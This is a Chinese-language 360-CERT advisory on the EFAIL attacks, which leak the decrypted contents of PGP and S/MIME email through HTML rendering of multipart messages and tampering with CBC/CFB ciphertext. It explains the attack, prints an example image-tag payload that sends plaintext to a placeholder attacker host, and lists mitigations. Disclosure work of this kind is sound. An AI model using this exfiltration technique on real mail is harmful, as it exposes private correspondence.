報告編號: B6-2018-051501
報告來源: 360-CERT
報告作者: 360-CERT
更新日期: 2018-05-15
PGP/GPG 和 S/MIME是為電子郵件提供端到端安全的兩個重要標準。
14日,歐洲安全研究員Sebastian Schinzel在twitter對 PGP/GPG 和 S/MIME 進行了漏洞預警,隨后細節被公開。
360-CERT對漏洞持續關注,并對漏洞進行了詳細分析。
電子郵件客戶端對郵件內容展示有多種方式,其中HTML渲染是最流行的一種。HTML支持網絡資源的請求,例如<img/>
、<input/>
、<script><scirpt />
等。
本次EFAIL攻擊就是借助的<img />
標簽的src屬性,將解密后的原文發送到攻擊者控制的遠程服務器上,從而造成信息泄露。
漏洞根本的原因,是因為電子郵件客戶端在處理multipart郵件的時候,對每一個multipart獨立處理,而在顯示的時候,會將多multipart郵件的渲染到同一個HTML里面。這樣在郵件顯示的時候,明文和解密后的原文將在一起顯示,在這里會有安全隱患。
在電子郵件中允許多段存在,如圖所示:
其中multipart進行多part標識,protocol進行配置,同時使用boundary進行分割。
郵件客戶端處理郵件時,會對每個part獨立處理,但是最后將渲染到同一個HTML界面中。這樣我們可以構造如下PoC來利用該特性:
可以看到,PoC中利用boundary將郵件分為了三部分,分別為Content-Type: text/html ,Content-Type: multipart/encrypted;protocol=”application/pgp-encrypted”; ,和 Content-Type: text/html 。
因為郵件客戶端對每個multipart獨立處理,在這個過程中會對加密郵件進行解密。當受害者打開郵件的時,進行解密渲染,最后該郵件將解析為:
<img src="http://x.x.x.x/郵件明文">
這樣的內容在受害者電子郵件客戶端顯示的時候,會發起http請求,將加密的郵件原文發往攻擊者主機。
如果S/MIME采用CBC或者CFB模式,那么將會受到EFAIL攻擊。
以CBC為例,CBC模式里是分段明文,每段數據都是通過頭部與上一段密文亦或進行加密的。如下圖所示:
在(a)這里, 有已知數據IV,C0,P0, 整個揭秘過程會自動亦或后得到C2,C3的部分,也就是我們想要伸出的目標數據unknown plaintext。
攻擊邏輯很簡單,將已知的頭部標記(明文段”Content-type”)的密文部分篡改為img標簽,把加密的密文包裹起來。這樣在解析顯示的時候會達到和第一種方法相同的攻擊效果。
漏洞有許多攻擊場景,例如中間人攻擊。
攻擊者作為中間人劫持到郵件流量,在加密的郵件點前后添加multipart。用戶受到郵件打開后,明文內容將被img標簽發送給攻擊者。達到加密郵件泄露的效果:
漏洞影響包括window,linux, 安卓,IOS等在內的多平臺多應用,具體影響范圍如下圖所示:
目前沒有針對該漏洞的修復補丁,所以在漏洞修復之前,請廣大用戶立即禁用或卸載自動解密 PGP加密電子郵件的工具。不要閱讀PGP加密的郵件。
同時請閱讀以下指南,暫時禁用PGP插件以降低受攻擊的可能:
雷鳥用戶緩解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-thunderbird-enigmail】
Apple Mail用戶緩解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-apple-mail-gpgtools】
outlook用戶緩解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-outlook-gpg4win】
2018-05-14 漏洞披露
2018-05-14 360-CERT進行跟進分析
2018-05-15 發布漏洞分析報告